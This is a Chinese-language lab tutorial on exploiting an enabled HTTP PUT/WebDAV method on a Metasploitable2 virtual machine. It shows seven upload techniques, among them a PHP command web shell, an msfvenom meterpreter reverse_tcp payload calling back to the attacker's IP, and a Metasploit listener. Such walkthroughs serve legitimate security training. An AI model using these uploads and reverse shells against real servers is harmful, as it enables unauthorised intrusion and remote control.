导语:在本文中,我们将会利用metasploitable2靶机上的HTTP PUT漏洞。通过此漏洞你可以轻而易举的向服务器上传恶意文件,并可以在meterpreter shell中获得整个服务器的访问权限。
HTTP PUT方法利用
在本文中,我们将会利用metasploitable2靶机上的HTTP PUT漏洞。通过此漏洞你可以轻而易举的向服务器上传恶意文件,并可以在meterpreter shell中获得整个服务器的访问权限。
上一篇文章我们讲过了如何使用Curl,Nmap和OpenSSL来测试HTTP方法。如果服务器启用了HTTP PUT方法,我们就可以利用它来上传指定的资源到目标服务器上,比如webshell或者恶意软件。
基本要求
· Metasploitable2 vm虚拟机–https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
· 攻击者kali VM虚拟机–https://www.kali.org/downloads/
· 漏洞路径–http://192.168.179.142/dav/
· 攻击者IP–192.168.179.141
HEAD,GET,POST,CONNECT,这些方法是完全安全的,至少就HTTP方法本身而言是安全的。当然了,虽然请求本身可能也会有恶意参数,但参数跟方法是分离的,所以通常而言只应该启用这些方法。
PUT,DELETE这些方法最初是用来进行文件管理的。然而一些web服务器保留了最初的配置,依然支持这些方法。如此一来,你就可以任意修改或删除服务器文件系统中的文件了。
显然,如果启用了这些方法,你就容易遭到文件上传漏洞的攻击。
另外,如果你有业务需求必须启用这些方法,那么应该严格限制文件访问权限。
OPTIONS方法,这是一个判断方法,返回消息主要用于调试或者检查服务器其他方法是否启用。
TRACE方法,这个方法比较出乎意料,它是响应体中返回的判断方法,即整个HTTP请求。这包括请求体,也包括请求头,比如cookies和认证头等。
进入正题
识别HTTP服务器最简单最基本的形式就是查看HTTP响应头中色server字段。可以使用Netcat客户端发送HTTP请求来获取服务器的HTTP响应头。
Netcat绝对是一个神器,只要是有关TCP和UDP的都能使用Netcat。它可以打开TCP连接,发送UDP数据包,监听任意的TCP和UDP端口,进行端口扫描等。
在Debain系统上安装Netcat的命令是 “sudo apt-get install netcat”
使用Netcat来检测web服务器上启用了哪些方法,只要输入如下命令即可:
nc 192.168.179.142 80 OPTIONS /dav/ HTTP/1.1 Host: 192.168.179.142
按两次回车!
观察一下响应头字段可以发现启用了一些危险的方法,比如DELETE,TRACE,PROPFING,COPY,MOVE,LOCK和UNLOCK。
下面我们就来演示一下利用HTTP PUT方法的7种方法。
1.Netcat利用PUT方法
使用Netcat方法十分简单,输入下面几条命令即可:
nc 192.168.179.142 80 PUT /dav/hacked.txt HTTP/1.1 Host: 192.168.179.142
按两次回车!
可以看到hacked.txt文件已经成功创建,状态码是201,文件创建位置为/dav/目录。
2.BurpSuite利用PUT方法
众所周知,Burp是一款代理拦截神器,通过抓包,可以分析所有的GET和POST请求。
Burp是专门用来测试web应用的图形化工具。它是使用Java编写的,由PortSwigger安全团队开发。
Burp工具的功能模块包括Proxy,Scanner,Intruder,Spider,Repeater,Decoder,Comparer,Extender和Sequencer。
首先设置浏览器代理,访问http://192.168.179.142/dav/,抓包拦截请求,然后右击选择发送到Repeater模块。
查看下面的截图,你会发现左右连个面板,左边是请求,右边是响应。
现在我们来替换GET方法为PUT方法,上传一个yeahhub.php文件,文件里包含的是恶意内容或代码。
在请求头中输入PUT /dav/yeahhub.php HTTP/1.1,这将会通过PUT请求上传yeahhub.php文件到dav目录下。
然后在请求体中粘贴一下恶意代码。
<?php system($_GET[‘cmd’]); ?>
在上面的截图中,可以看到响应状态码是201,这就意味着包含恶意代码的yeahhub.php文件已经成功上传。
验证一下,在浏览器地址栏中输入http://192.168.179.142/dav/yeahhub.php?cmd=uname-a,就能看到系统的内核版本。
Nikto扫描HTTP方法
Nikto是另一个开源的web扫描器,它可以对web服务器进行全面测试,包括6700个潜在的危险文件和程序,检查超过1250台服务器的过期版本和270台以上服务器版本的特定问题。
使用nikto扫描,只需在终端中输入“nikto -h http://192.168.179.142/dav/”
可以看到,高亮部分显示了多种HTTP方法是启用的。
3.Cadaver和Metasploit框架利用PUT方法
现在是时候上传恶意PHP文件来攻击服务器了,恶意文件我们将借助msfvenom命令来生成。
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.179.141 LPORT=4444 -f raw > shell.php
可以看到恶意文件shell.php已经上传到服务器当前工作目录了。
扩展阅读:msfvenom所有payload示例
现在运行Cadaverer,这个工具已经默认安装在每一台kali上。
Cadaver是一款命令行工具,支持通过webdav协议来上传和下载文件。
使用Cadaver的命令是:
cadaver http://192.168.179.142/dav/“
现在你已经进入到目标机器的工作目录了。上传msfvenom生成的shell.php文件,如下所示
dav:/dav/> PUT /root/shell.php
验证一下文件是否成功上传,浏览器中输入“http://192.168.179.142/dav/“。
下一步是启动metasploit框架,然后使用 multi/handler利用脚本,如下所示:
使用multi/handlerexploit,在终端中输入以下命令:
use exploit/multi/handler set LHOST 192.168.179.141 set LPORT 4444 set payload php/metrepreter/reverse_tcp exploit
可以看到,反向TCP处理程序已经运行在192.168.179.141的4444端口上了,现在只要你访问shell.php,你就能获得TCP反向连接的Meterpreter shell会话了。
拓展阅读:通过wan利用metasploit远程攻击win10(无端口转发)
输入”sysinfo”来查看靶机的系统信息。当然,meterpreter会话中还有很多有用的命令,你们可以自行探索。
拓展阅读:meterpreter命令top60
Meterpreter是一种高级的,动态扩展的payload,它使用内存DLL注入stagers并且在运行时通过网络来进行扩展。通过stager套接字进行通信并且提供全面的客户端Ruby API。它还有历史命令,tab补全等功能。
4.Nmap利用PUT方法
如果服务器开启了PUT方法,你也可以用Nmap来上传恶意文件(Nmap是一款开源的端口扫描器和web漏洞利用工具)。
使用Nmap上传恶意文件命令:
nmap -p 80 192.168.179.142 -script http-put -script-args http-put.url ='/ dav / yeahhub_nmap.php',http-put.file ='/ root / Desktop / yeahhub_nmap.php'
如图所示,yeahhub_nmap.php已经成功上传到/dav/目录下。
5.Metasploit利用PUT方法
Metasploit的辅助模块auxiliary/scanner/http/http_put模块也能上传文件。
这个模块也就是HTTP_PUT也可以充分利用配置不当的web服务器,通过PUT和DELETE方法来上传和删除服务器上的文件和内容。
命令如下:
use auxiliary/scanner/http/http_put
设置ACTION为PUT或DELETE。默认是PUT。如果没有指定文件名,该模块会随机生成字符串作为文件a.txt。如果设置为DELETE,那就需要指定文件名。
命令如下:
set RHOSTS 192.168.179.142 set path /dav/ set payload php/meterpreter/reverse_tcp set filename yeah.php set filedata file://root/Desktop/yeah.php exploit
如图所示,yeah.php文件已经成功上传到web服务器中,路径是http://192.168.179.142/dav/yeah.php
6.CURL利用PUT方法
CURL也是一款很强大的命令行工具,可以使用各种协议进行传输数据。
使用CURL利用PUT方法的命令是
curl -i -X PUT -H “Content-Type: text/plain; charset=utf-8” -d “YOUR TEXT HERE” http://192.168.179.142/dav/youhacked.php
可以看到,youhacked.php已经成功创建,验证也非常简单,只要访问http://192.168.179.142/dav/youhacked.php.即可。
你也可以通过下列命令来浏览文件路径:
curl -i -X PUT -H “Content-Type: application/xml; charset=utf-8″ -d @”/root/Desktop/file.php” http://192.168.179.142/dav/file.php
7.QuickPuT脚本利用PUT方法
QuickPut是python写的命令行工具,你可以利用该脚本通过HTTP PUT方法来上传文件到服务器。
下载QuickPut脚本,请参考informesh.net.
QuickPut语法格式:
python QuickPut.py <本地文件> <目标URL>
使用QuickPut,你只需要在终端下输入以下命令:
python QuickPut.py /root/Desktop/file.php http://192.168.179.142/dav/chetan_soni.php